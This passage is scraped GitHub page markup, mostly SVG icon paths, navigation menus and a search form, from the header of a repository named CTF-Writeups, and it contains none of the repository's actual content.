0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="249393641" data-scoped-search-url="/TeamGreyFang/CTF-Writeups/search" data-owner-scoped-search-url="/orgs/TeamGreyFang/search" data-unscoped-search-url="/search" data-turbo="false" action="/TeamGreyFang/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="y77Q/JNQ3Ol9+JxQO7WtxPwtn3VVeKWL0YrTyHuZbBDtb4W45p6m6n/pLq+rLwckdC5DLgOQarmqK0YLEdXrSg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this organization </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 